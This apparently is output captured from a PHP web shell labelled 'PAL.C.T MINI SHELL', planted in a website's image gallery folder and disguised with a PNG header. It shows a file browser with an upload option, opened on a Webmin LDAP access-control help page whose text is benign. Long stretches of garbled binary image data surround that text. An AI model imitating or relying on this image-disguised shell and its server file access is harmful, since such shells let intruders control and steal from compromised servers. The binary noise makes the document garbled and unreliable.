php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/ldap-server/help/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/ldap-server/help/acl.html

<header>LDAP Access Control</header>

By default, an LDAP server allows any client that can connect to read all
objects and attributes in the database. However, only the administrative user
can perform updates. This may not be ideal for networks that have users with
different levels of trust though, so OpenLDAP allows you to grant varying
access levels to different users on different parts of the database. <p>

This page lists all access controls rules currently defined, if any. To create a
new one, click the <b>Add a new access control rule</b> link. To remove several
rules at once, check the boxes next to them and hit the <b>Delete Selected
Rules</b> button. To change the ordering of rules, use the up and down arrows
on the right-hand side of the table. <p>

As with most other LDAP server configuration changes, access control rules will
not take effect until the <b>Apply Configuration</b> button is clicked on the
module's main page. <p>

<footer>

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`